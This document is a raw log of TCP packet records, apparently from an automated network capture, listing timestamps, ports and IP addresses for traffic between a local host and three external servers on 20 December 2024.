Dec 20, 2024 13:12:42.695220947 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.695286989 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.695300102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.695357084 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.696250916 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.696362972 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.696419001 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.696479082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.697268963 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.697331905 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.697427988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.697487116 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.698328972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.698470116 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.698538065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.699493885 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.699562073 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.699644089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.699708939 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.700422049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.700480938 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.700537920 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.700592995 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.701456070 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.701517105 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.701584101 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.701643944 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.702508926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.702613115 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.702681065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.703583956 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.703644037 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.703735113 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.703799963 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.704639912 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.704704046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.704736948 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.704790115 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.705712080 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.705765009 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.705771923 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.705825090 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.706794977 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.706891060 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.706958055 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.707792044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.707825899 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.707858086 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.707887888 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.708794117 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.708856106 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.708939075 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.708997965 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.709913969 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.709948063 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.709978104 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.710006952 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.710961103 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.711232901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.711301088 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.711962938 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.712028980 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.712223053 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.712284088 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.713018894 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.713079929 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.713550091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.713618040 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.714049101 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.714112043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.714323044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.714384079 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.715116978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.715183020 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.715374947 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.715437889 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.716125965 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.716187954 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.716500044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.716562986 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.717190981 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.717255116 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.717451096 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.717509031 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.718264103 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.718327045 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.718436956 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.718498945 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.719413996 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.719475985 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.719491005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.719552040 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.720339060 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.720400095 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.720551014 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.720613003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.721420050 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.721472025 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.721482038 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.721527100 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.722501993 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.723490953 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.723525047 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.723560095 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.723562002 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.723603010 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.723624945 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.726111889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.726186037 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.861845970 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.861993074 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.862034082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.862093925 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.862155914 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.862349033 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.862445116 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.862504005 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.863388062 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.863671064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.863744974 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.864325047 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.864645004 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.864712000 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.864754915 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.864938974 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.865755081 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.865839005 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.866004944 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.866060972 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.866854906 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.866889954 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.866935015 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.867872953 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.867923021 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.867925882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.867974997 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.868789911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.868894100 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.868952036 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.869870901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.869925022 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.869987965 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.870035887 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.870932102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.870989084 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.871063948 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.871109009 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:43.545788050 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.545851946 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.545890093 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.545981884 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.546000957 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.546015978 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.546052933 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.546077967 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.546091080 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.546103954 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.551812887 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.551930904 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.551960945 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.552000046 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.552053928 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.665910006 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.665952921 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.666014910 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.669908047 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.710835934 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.738280058 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.738452911 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.738526106 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.741884947 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.742062092 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.742124081 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.750808001 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.751482964 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.751550913 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.759280920 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.759469032 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.759529114 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.767035007 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.767121077 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.767179966 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.775383949 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.777918100 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.777987957 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.783883095 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.784297943 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.784356117 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.792165995 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.793009996 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.793072939 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.800497055 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.800997972 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.801059008 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.808924913 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.809067011 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.809123039 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.817303896 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.825901031 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:43.825988054 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:43.834218025 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:43.834233999 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:43.835088015 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:43.867099047 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.869837999 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.870497942 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.870569944 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.874032974 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.882802963 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:43.913959980 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.929722071 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.929819107 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.929881096 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.932080030 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.932252884 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.932307005 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.936814070 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.937203884 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.937261105 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.941626072 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.941880941 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.941987038 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.946388960 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.946619034 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.946681023 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.951162100 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.951505899 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.951560974 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.955995083 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.956144094 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.956199884 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.960800886 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.961541891 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.961596012 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.965527058 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.965683937 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.965737104 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.970266104 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.970690966 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.970743895 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.975011110 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.975233078 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.975285053 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.979850054 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.980168104 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.980226040 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.984555960 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.986238956 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.986298084 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.989357948 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.989532948 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.989587069 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.994112968 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.994796038 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.994849920 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:43.998899937 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.999214888 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:43.999267101 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.003719091 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.004560947 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.004617929 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.008409023 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.008773088 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.008822918 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.013132095 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.013669014 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.013719082 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.033509016 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:44.033530951 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:44.033623934 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:44.061801910 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.062990904 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.063055038 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.064132929 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.064460039 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.064521074 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.068881989 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.117089987 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.121809959 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.121900082 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.121963024 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.123624086 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.123883009 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.123941898 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.127137899 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.127641916 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.127700090 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.130831957 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.130959034 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.131026983 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.134315968 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.134656906 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.134716988 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.136989117 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.137363911 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.137428999 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.139676094 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.139941931 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.140008926 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.142256021 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.142330885 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.142385006 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.144772053 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.145768881 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.145836115 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.147346973 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.147506952 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.147567034 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.149878025 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.150355101 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.150412083 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.152445078 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.153290033 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.153353930 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.155039072 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.155097961 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.155153036 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.157670021 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.157881021 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.157942057 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.160228014 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.160367012 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.160439968 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.162764072 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.162992954 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.163053989 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.165313005 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.165703058 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.165761948 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.167927027 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.168529987 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.168590069 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.170520067 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.172261953 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.172322035 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.173166990 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.173439026 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.173501968 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:44.175600052 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:44.175822973 CET	80	49923	185.121.15.192	192.168.2.5
